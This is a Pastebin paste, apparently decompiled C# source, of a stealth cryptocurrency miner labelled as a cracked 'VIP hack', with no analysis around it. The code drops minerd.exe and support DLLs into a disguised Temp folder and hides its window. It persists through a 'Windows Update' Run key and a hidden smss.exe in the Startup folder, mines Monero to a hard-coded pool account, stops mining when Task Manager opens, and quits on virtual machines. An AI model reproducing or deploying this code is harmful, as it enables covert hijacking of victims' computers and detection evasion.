Guest User

THD VIP HACK [Cracked] Behind Code

a guest
Aug 31st, 2017
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 21.97 KB | None | 0 0
  1. public class Form1 : Form
  2. {
  3.     // Fields
  4.     private static List<WeakReference> __ENCList = new List<WeakReference>();
  5.     [AccessedThroughProperty("Label1")]
  6.     private Label _Label1;
  7.     [AccessedThroughProperty("Timer1")]
  8.     private Timer _Timer1;
  9.     [AccessedThroughProperty("Timer2")]
  10.     private Timer _Timer2;
  11.     [AccessedThroughProperty("Timer3")]
  12.     private Timer _Timer3;
  13.     [AccessedThroughProperty("Timer4")]
  14.     private Timer _Timer4;
  15.     [AccessedThroughProperty("Timer5")]
  16.     private Timer _Timer5;
  17.     [AccessedThroughProperty("Timer6")]
  18.     private Timer _Timer6;
  19.     public string anti;
  20.     public string BotKiller;
  21.     private IContainer components;
  22.     public string Config;
  23.     public string Config1;
  24.     public IdleTime it;
  25.     public object LO;
  26.     public Mutex MT;
  27.     public string MTX;
  28.     private Process[] p;
  29.     public string pass;
  30.     public string port;
  31.     public string presis;
  32.     private const int SPI_SETSCREENSAVETIMEOUT = 15;
  33.     public int st;
  34.     public string startup;
  35.     public string Temp;
  36.     public Thread trd;
  37.     public string url;
  38.     public string user;
  39.     public string vm;
  40.  
  41.     // Methods
  42.     public Form1()
  43.     {
  44.         base.Load += new EventHandler(this.Form1_Load);
  45.         __ENCAddToList(this);
  46.         this.url = "stratum+tcp://xmr.pool.minergate.com";
  47.         this.port = "45560";
  48.         this.user = "kyukowt@gmail.com";
  49.         this.pass = "x";
  50.         this.startup = "True";
  51.         this.presis = "True";
  52.         this.anti = "True";
  53.         this.BotKiller = "False";
  54.         this.vm = "True";
  55.         this.MTX = "aZPZwNM(59&vQGk%*q$2ky!a@";
  56.         this.Config = "-a cryptonight -o " + this.url + ":" + this.port + " -u " + this.user + " -p " + this.pass + " -t 1";
  57.         this.Config1 = "-a cryptonight -o " + this.url + ":" + this.port + " -u " + this.user + " -p " + this.pass;
  58.         this.Temp = MyProject.Computer.FileSystem.SpecialDirectories.Temp;
  59.         this.st = 0;
  60.         this.it = new IdleTime();
  61.         this.MT = null;
  62.         this.LO = new FileInfo(Application.ExecutablePath);
  63.         this.InitializeComponent();
  64.     }
  65.  
  66.     [DebuggerNonUserCode]
  67.     private static void __ENCAddToList(object value)
  68.     {
  69.         List<WeakReference> list = __ENCList;
  70.         lock (list)
  71.         {
  72.             if (__ENCList.Count == __ENCList.Capacity)
  73.             {
  74.                 int index = 0;
  75.                 int num3 = __ENCList.Count - 1;
  76.                 for (int i = 0; i <= num3; i++)
  77.                 {
  78.                     WeakReference reference = __ENCList[i];
  79.                     if (reference.IsAlive)
  80.                     {
  81.                         if (i != index)
  82.                         {
  83.                             __ENCList[index] = __ENCList[i];
  84.                         }
  85.                         index++;
  86.                     }
  87.                 }
  88.                 __ENCList.RemoveRange(index, __ENCList.Count - index);
  89.                 __ENCList.Capacity = __ENCList.Count;
  90.             }
  91.             __ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
  92.         }
  93.     }
  94.  
  95.     public void AStartup(string Name, string Path)
  96.     {
  97.         int num2;
  98.         try
  99.         {
  100.             int num3;
  101.         Label_0001:
  102.             ProjectData.ClearProjectError();
  103.             int num = -2;
  104.         Label_0009:
  105.             num3 = 2;
  106.             RegistryKey currentUser = Registry.CurrentUser;
  107.         Label_0012:
  108.             num3 = 3;
  109.             RegistryKey key2 = currentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
  110.         Label_0022:
  111.             num3 = 4;
  112.             key2.SetValue(Name, Path, RegistryValueKind.String);
  113.             goto Label_009E;
  114.         Label_0034:;
  115.             num2 = 0;
  116.             switch ((num2 + 1))
  117.             {
  118.                 case 1:
  119.                     goto Label_0001;
  120.  
  121.                 case 2:
  122.                     goto Label_0009;
  123.  
  124.                 case 3:
  125.                     goto Label_0012;
  126.  
  127.                 case 4:
  128.                     goto Label_0022;
  129.  
  130.                 case 5:
  131.                     goto Label_009E;
  132.  
  133.                 default:
  134.                     goto Label_0093;
  135.             }
  136.         Label_0058:
  137.             num2 = num3;
  138.             switch (((num > -2) ? num : 1))
  139.             {
  140.                 case 0:
  141.                     goto Label_0093;
  142.  
  143.                 case 1:
  144.                     goto Label_0034;
  145.             }
  146.         }
  147.         catch (object obj1) when (?)
  148.         {
  149.             ProjectData.SetProjectError((Exception) obj1);
  150.             goto Label_0058;
  151.         }
  152.     Label_0093:
  153.         throw ProjectData.CreateProjectError(-2146828237);
  154.     Label_009E:
  155.         if (num2 != 0)
  156.         {
  157.             ProjectData.ClearProjectError();
  158.         }
  159.     }
  160.  
  161.     public void BOTKILL(string[] EXE)
  162.     {
  163.         try
  164.         {
  165.             Process[] processes = Process.GetProcesses();
  166.             foreach (string str in EXE)
  167.             {
  168.                 FileInfo info = new FileInfo(str);
  169.                 if (info.Extension == ".exe")
  170.                 {
  171.                     foreach (Process process in processes)
  172.                     {
  173.                         if (process.get_ProcessName() == info.Name.Replace(".exe", null))
  174.                         {
  175.                             process.Kill();
  176.                         }
  177.                     }
  178.                     try
  179.                     {
  180.                         File.Delete(str);
  181.                     }
  182.                     catch (Exception exception1)
  183.                     {
  184.                         ProjectData.SetProjectError(exception1);
  185.                         Thread.Sleep(100);
  186.                         File.Delete(str);
  187.                         ProjectData.ClearProjectError();
  188.                     }
  189.                 }
  190.             }
  191.         }
  192.         catch (Exception exception2)
  193.         {
  194.             ProjectData.SetProjectError(exception2);
  195.             ProjectData.ClearProjectError();
  196.         }
  197.     }
  198.  
  199.     public bool CheckIfRunning()
  200.     {
  201.         bool flag;
  202.         foreach (Process process in Process.GetProcesses())
  203.         {
  204.             if (process.get_ProcessName().StartsWith("taskmgr"))
  205.             {
  206.                 foreach (Process process2 in Process.GetProcessesByName("minerd"))
  207.                 {
  208.                     process2.Kill();
  209.                 }
  210.                 this.Timer6.Start();
  211.             }
  212.         }
  213.         return flag;
  214.     }
  215.  
  216.     public bool CheckIfRunning1()
  217.     {
  218.         bool flag;
  219.         foreach (Process process in Process.GetProcesses())
  220.         {
  221.             if (process.get_ProcessName().StartsWith("taskmgr"))
  222.             {
  223.             }
  224.         }
  225.         this.Timer2.Start();
  226.         this.Timer6.Stop();
  227.         return flag;
  228.     }
  229.  
  230.     private bool CompDir(FileInfo F1, FileInfo F2)
  231.     {
  232.         if (F1.Name.ToLower() == F2.Name.ToLower())
  233.         {
  234.             DirectoryInfo directory = F1.Directory;
  235.             DirectoryInfo parent = F2.Directory;
  236.             do
  237.             {
  238.                 if (directory.Name.ToLower() != parent.Name.ToLower())
  239.                 {
  240.                     return false;
  241.                 }
  242.                 directory = directory.Parent;
  243.                 parent = parent.Parent;
  244.                 if ((directory == null) & (parent == null))
  245.                 {
  246.                     return true;
  247.                 }
  248.                 if (directory == null)
  249.                 {
  250.                     return false;
  251.                 }
  252.             }
  253.             while (parent != null);
  254.         }
  255.         return false;
  256.     }
  257.  
  258.     [DebuggerNonUserCode]
  259.     protected override void Dispose(bool disposing)
  260.     {
  261.         try
  262.         {
  263.             if (disposing && (this.components != null))
  264.             {
  265.                 this.components.Dispose();
  266.             }
  267.         }
  268.         finally
  269.         {
  270.             base.Dispose(disposing);
  271.         }
  272.     }
  273.  
  274.     [DllImport("user32", EntryPoint="FindWindowA", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
  275.     private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
  276.     [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
  277.     private void Form1_Load(object sender, EventArgs e)
  278.     {
  279.         if ((this.vm == "True") && !this.IsVmWare())
  280.         {
  281.             Application.Exit();
  282.         }
  283.         if (this.BotKiller == "True")
  284.         {
  285.             this.StartBotKiller();
  286.         }
  287.         try
  288.         {
  289.             foreach (Process process in Process.GetProcesses())
  290.             {
  291.                 try
  292.                 {
  293.                     if (this.CompDir(new FileInfo(process.get_MainModule().get_FileName()), (FileInfo) this.LO) && (process.get_Id() > Process.GetCurrentProcess().get_Id()))
  294.                     {
  295.                         ProjectData.EndApp();
  296.                     }
  297.                 }
  298.                 catch (Exception exception1)
  299.                 {
  300.                     ProjectData.SetProjectError(exception1);
  301.                     Exception exception = exception1;
  302.                     ProjectData.ClearProjectError();
  303.                 }
  304.             }
  305.         }
  306.         catch (Exception exception5)
  307.         {
  308.             ProjectData.SetProjectError(exception5);
  309.             Exception exception2 = exception5;
  310.             ProjectData.ClearProjectError();
  311.         }
  312.         try
  313.         {
  314.             Mutex.OpenExisting(this.MTX);
  315.             ProjectData.EndApp();
  316.         }
  317.         catch (Exception exception6)
  318.         {
  319.             ProjectData.SetProjectError(exception6);
  320.             Exception exception3 = exception6;
  321.             ProjectData.ClearProjectError();
  322.         }
  323.         try
  324.         {
  325.             this.MT = new Mutex(true, this.MTX);
  326.         }
  327.         catch (Exception exception7)
  328.         {
  329.             ProjectData.SetProjectError(exception7);
  330.             Exception exception4 = exception7;
  331.             ProjectData.EndApp();
  332.             ProjectData.ClearProjectError();
  333.         }
  334.         this.Label1.Text = Conversions.ToString(this.it.IdleTime);
  335.         this.Timer1.Interval = 0x3e8;
  336.         this.Timer1.Start();
  337.         this.Visible = false;
  338.         this.ShowInTaskbar = false;
  339.         this.ShowIcon = false;
  340.         if (!Directory.Exists(this.Temp + @"\Microsoft"))
  341.         {
  342.             Directory.CreateDirectory(this.Temp + @"\Microsoft");
  343.         }
  344.         if (File.Exists(this.Temp + @"\Microsoft\libcurl-4.dll"))
  345.         {
  346.             File.Delete(this.Temp + @"\Microsoft\libcurl-4.dll");
  347.             File.WriteAllBytes(this.Temp + @"\Microsoft\libcurl-4.dll", System.My.Resources.Resources.libcurl_4);
  348.         }
  349.         else
  350.         {
  351.             File.WriteAllBytes(this.Temp + @"\Microsoft\libcurl-4.dll", System.My.Resources.Resources.libcurl_4);
  352.         }
  353.         if (File.Exists(this.Temp + @"\Microsoft\minerd.exe"))
  354.         {
  355.             File.Delete(this.Temp + @"\Microsoft\minerd.exe");
  356.             File.WriteAllBytes(this.Temp + @"\Microsoft\minerd.exe", System.My.Resources.Resources.minerd);
  357.         }
  358.         else
  359.         {
  360.             File.WriteAllBytes(this.Temp + @"\Microsoft\minerd.exe", System.My.Resources.Resources.minerd);
  361.         }
  362.         if (File.Exists(this.Temp + @"\Microsoft\libiconv-2.dll"))
  363.         {
  364.             File.Delete(this.Temp + @"\Microsoft\libiconv-2.dll");
  365.             File.WriteAllBytes(this.Temp + @"\Microsoft\libiconv-2.dll", System.My.Resources.Resources.libiconv_2);
  366.         }
  367.         else
  368.         {
  369.             File.WriteAllBytes(this.Temp + @"\Microsoft\libiconv-2.dll", System.My.Resources.Resources.libiconv_2);
  370.         }
  371.         if (File.Exists(this.Temp + @"\Microsoft\libintl-8.dll"))
  372.         {
  373.             File.Delete(this.Temp + @"\Microsoft\libintl-8.dll");
  374.             File.WriteAllBytes(this.Temp + @"\Microsoft\libintl-8.dll", System.My.Resources.Resources.libintl_8);
  375.         }
  376.         else
  377.         {
  378.             File.WriteAllBytes(this.Temp + @"\Microsoft\libintl-8.dll", System.My.Resources.Resources.libintl_8);
  379.         }
  380.         if (File.Exists(this.Temp + @"\Microsoft\zlib1.dll"))
  381.         {
  382.             File.Delete(this.Temp + @"\Microsoft\zlib1.dll");
  383.             File.WriteAllBytes(this.Temp + @"\Microsoft\zlib1.dll", System.My.Resources.Resources.zlib1);
  384.         }
  385.         else
  386.         {
  387.             File.WriteAllBytes(this.Temp + @"\Microsoft\zlib1.dll", System.My.Resources.Resources.zlib1);
  388.         }
  389.         if (File.Exists(this.Temp + @"\Microsoft\libidn-11.dll"))
  390.         {
  391.             File.Delete(this.Temp + @"\Microsoft\ibidn-11.dll");
  392.             File.WriteAllBytes(this.Temp + @"\Microsoft\libidn-11.dll", System.My.Resources.Resources.libidn_11);
  393.         }
  394.         else
  395.         {
  396.             File.WriteAllBytes(this.Temp + @"\Microsoft\libidn-11.dll", System.My.Resources.Resources.libidn_11);
  397.         }
  398.         if (File.Exists(this.Temp + @"\Microsoft\libwinpthread-1.dll"))
  399.         {
  400.             File.Delete(this.Temp + @"\Microsoft\libwinpthread.dll");
  401.             File.WriteAllBytes(this.Temp + @"\Microsoft\libwinpthread-1.dll", System.My.Resources.Resources.libwinpthread_1);
  402.         }
  403.         else
  404.         {
  405.             File.WriteAllBytes(this.Temp + @"\Microsoft\libwinpthread-1.dll", System.My.Resources.Resources.libwinpthread_1);
  406.         }
  407.         if (this.anti == "True")
  408.         {
  409.             this.KeepMonitorActive();
  410.         }
  411.         if (this.startup == "True")
  412.         {
  413.             if (File.Exists(this.Temp + @"\smss.exe"))
  414.             {
  415.                 this.AStartup("Windows Update", this.Temp + @"\smss.exe");
  416.             }
  417.             else
  418.             {
  419.                 File.Copy(Application.ExecutablePath, this.Temp + @"\smss.exe");
  420.                 this.AStartup("Windows Update", this.Temp + @"\smss.exe");
  421.             }
  422.         }
  423.         if (this.presis == "True")
  424.         {
  425.             this.trd = new Thread(new ThreadStart(this.StartWork));
  426.             this.trd.IsBackground = true;
  427.             this.trd.Start();
  428.         }
  429.         this.Timer2.Start();
  430.         this.Timer3.Start();
  431.     }
  432.  
  433.     [DebuggerStepThrough]
  434.     private void InitializeComponent()
  435.     {
  436.         this.components = new Container();
  437.         this.Timer1 = new Timer(this.components);
  438.         this.Timer2 = new Timer(this.components);
  439.         this.Timer3 = new Timer(this.components);
  440.         this.Timer4 = new Timer(this.components);
  441.         this.Timer5 = new Timer(this.components);
  442.         this.Timer6 = new Timer(this.components);
  443.         this.Label1 = new Label();
  444.         this.SuspendLayout();
  445.         this.Timer2.Interval = 0x3e8;
  446.         this.Timer3.Interval = 0x3e8;
  447.         this.Label1.AutoSize = true;
  448.         Point point2 = new Point(0, 0);
  449.         this.Label1.Location = point2;
  450.         this.Label1.Name = "Label1";
  451.         Size size2 = new Size(0x33, 0x11);
  452.         this.Label1.Size = size2;
  453.         this.Label1.TabIndex = 0;
  454.         this.Label1.Text = "Label1";
  455.         SizeF ef2 = new SizeF(8f, 16f);
  456.         this.AutoScaleDimensions = ef2;
  457.         this.AutoScaleMode = AutoScaleMode.Font;
  458.         size2 = new Size(0x11a, 0xfd);
  459.         this.ClientSize = size2;
  460.         this.Controls.Add(this.Label1);
  461.         this.Name = "Form1";
  462.         this.Text = "Form1";
  463.         this.ResumeLayout(false);
  464.         this.PerformLayout();
  465.     }
  466.  
  467.     private bool IsVmWare()
  468.     {
  469.         string lpClassName = "VMDragDetectWndClass";
  470.         string lpWindowName = null;
  471.         return (FindWindow(ref lpClassName, ref lpWindowName) == 0L);
  472.     }
  473.  
  474.     public void KeepMonitorActive()
  475.     {
  476.         SetThreadExecutionState(-2147483646);
  477.     }
  478.  
  479.     [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
  480.     private static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
  481.     public void StartBotKiller()
  482.     {
  483.         this.BOTKILL(Directory.GetFiles(Path.GetTempPath()));
  484.         this.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)));
  485.         this.BOTKILL(Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).Replace("Roaming", null)));
  486.     }
  487.  
  488.     public void StartWork()
  489.     {
  490.         while (this.st == 0)
  491.         {
  492.             Thread.Sleep(0x7d0);
  493.             this.AStartup("Windows Update", this.Temp + @"\smss.exe");
  494.             if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\smss.exe"))
  495.             {
  496.                 File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\smss.exe");
  497.                 File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\smss.exe", FileAttributes.System | FileAttributes.Hidden);
  498.             }
  499.         }
  500.     }
  501.  
  502.     [DllImport("user32", CharSet=CharSet.Auto, SetLastError=true)]
  503.     private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
  504.     private void Timer1_Tick(object sender, EventArgs e)
  505.     {
  506.         this.Label1.Text = Conversions.ToString(this.it.IdleTime);
  507.     }
  508.  
  509.     private void Timer2_Tick(object sender, EventArgs e)
  510.     {
  511.         if (Conversions.ToDouble(this.Label1.Text) > 60.0)
  512.         {
  513.             foreach (Process process in Process.GetProcessesByName("minerd"))
  514.             {
  515.                 process.Kill();
  516.             }
  517.             Interaction.Shell(this.Temp + @"\Microsoft\minerd.exe " + this.Config1, AppWinStyle.Hide, false, -1);
  518.             this.Timer2.Stop();
  519.             this.Timer3.Start();
  520.         }
  521.     }
  522.  
  523.     private void Timer3_Tick(object sender, EventArgs e)
  524.     {
  525.         if (Conversions.ToDouble(this.Label1.Text) < 60.0)
  526.         {
  527.             foreach (Process process in Process.GetProcessesByName("minerd"))
  528.             {
  529.                 process.Kill();
  530.             }
  531.             Interaction.Shell(this.Temp + @"\Microsoft\minerd.exe " + this.Config, AppWinStyle.Hide, false, -1);
  532.             this.Timer2.Start();
  533.             this.Timer3.Stop();
  534.         }
  535.     }
  536.  
  537.     private void Timer5_Tick(object sender, EventArgs e)
  538.     {
  539.         this.CheckIfRunning();
  540.     }
  541.  
  542.     private void Timer6_Tick(object sender, EventArgs e)
  543.     {
  544.         this.CheckIfRunning1();
  545.     }
  546.  
  547.     // Properties
  548.     internal virtual Label Label1
  549.     {
  550.         [DebuggerNonUserCode]
  551.         get
  552.         {
  553.             return this._Label1;
  554.         }
  555.         [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
  556.         set
  557.         {
  558.             this._Label1 = value;
  559.         }
  560.     }
  561.  
  562.     internal virtual Timer Timer1
  563.     {
  564.         [DebuggerNonUserCode]
  565.         get
  566.         {
  567.             return this._Timer1;
  568.         }
  569.         [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
  570.         set
  571.         {
  572.             EventHandler handler = new EventHandler(this.Timer1_Tick);
  573.             if (this._Timer1 != null)
  574.             {
  575.                 this._Timer1.Tick -= handler;
  576.             }
  577.             this._Timer1 = value;
  578.             if (this._Timer1 != null)
  579.             {
  580.                 this._Timer1.Tick += handler;
  581.             }
  582.         }
  583.     }
  584.  
  585.     internal virtual Timer Timer2
  586.     {
  587.         [DebuggerNonUserCode]
  588.         get
  589.         {
  590.             return this._Timer2;
  591.         }
  592.         [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
  593.         set
  594.         {
  595.             EventHandler handler = new EventHandler(this.Timer2_Tick);
  596.             if (this._Timer2 != null)
  597.             {
  598.                 this._Timer2.Tick -= handler;
  599.             }
  600.             this._Timer2 = value;
  601.             if (this._Timer2 != null)
  602.             {
  603.                 this._Timer2.Tick += handler;
  604.             }
  605.         }
  606.     }
  607.  
  608.     internal virtual Timer Timer3
  609.     {
  610.         [DebuggerNonUserCode]
  611.         get
  612.         {
  613.             return this._Timer3;
  614.         }
  615.         [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
  616.         set
  617.         {
  618.             EventHandler handler = new EventHandler(this.Timer3_Tick);
  619.             if (this._Timer3 != null)
  620.             {
  621.                 this._Timer3.Tick -= handler;
  622.             }
  623.             this._Timer3 = value;
  624.             if (this._Timer3 != null)
  625.             {
  626.                 this._Timer3.Tick += handler;
  627.             }
  628.         }
  629.     }
  630.  
  631.     internal virtual Timer Timer4
  632.     {
  633.         [DebuggerNonUserCode]
  634.         get
  635.         {
  636.             return this._Timer4;
  637.         }
  638.         [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
  639.         set
  640.         {
  641.             this._Timer4 = value;
  642.         }
  643.     }
  644.  
  645.     internal virtual Timer Timer5
  646.     {
  647.         [DebuggerNonUserCode]
  648.         get
  649.         {
  650.             return this._Timer5;
  651.         }
  652.         [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
  653.         set
  654.         {
  655.             EventHandler handler = new EventHandler(this.Timer5_Tick);
  656.             if (this._Timer5 != null)
  657.             {
  658.                 this._Timer5.Tick -= handler;
  659.             }
  660.             this._Timer5 = value;
  661.             if (this._Timer5 != null)
  662.             {
  663.                 this._Timer5.Tick += handler;
  664.             }
  665.         }
  666.     }
  667.  
  668.     internal virtual Timer Timer6
  669.     {
  670.         [DebuggerNonUserCode]
  671.         get
  672.         {
  673.             return this._Timer6;
  674.         }
  675.         [MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode]
  676.         set
  677.         {
  678.             EventHandler handler = new EventHandler(this.Timer6_Tick);
  679.             if (this._Timer6 != null)
  680.             {
  681.                 this._Timer6.Tick -= handler;
  682.             }
  683.             this._Timer6 = value;
  684.             if (this._Timer6 != null)
  685.             {
  686.                 this._Timer6.Tick += handler;
  687.             }
  688.         }
  689.     }
  690.  
  691.     // Nested Types
  692.     [Flags]
  693.     public enum EXECUTION_STATE : uint
  694.     {
  695.         ES_AWAYMODE_REQUIRED = 0x40,
  696.         ES_CONTINUOUS = 0x80000000,
  697.         ES_DISPLAY_REQUIRED = 2,
  698.         ES_SYSTEM_REQUIRED = 1
  699.     }
  700. }
Add Comment
Please, Sign In to add comment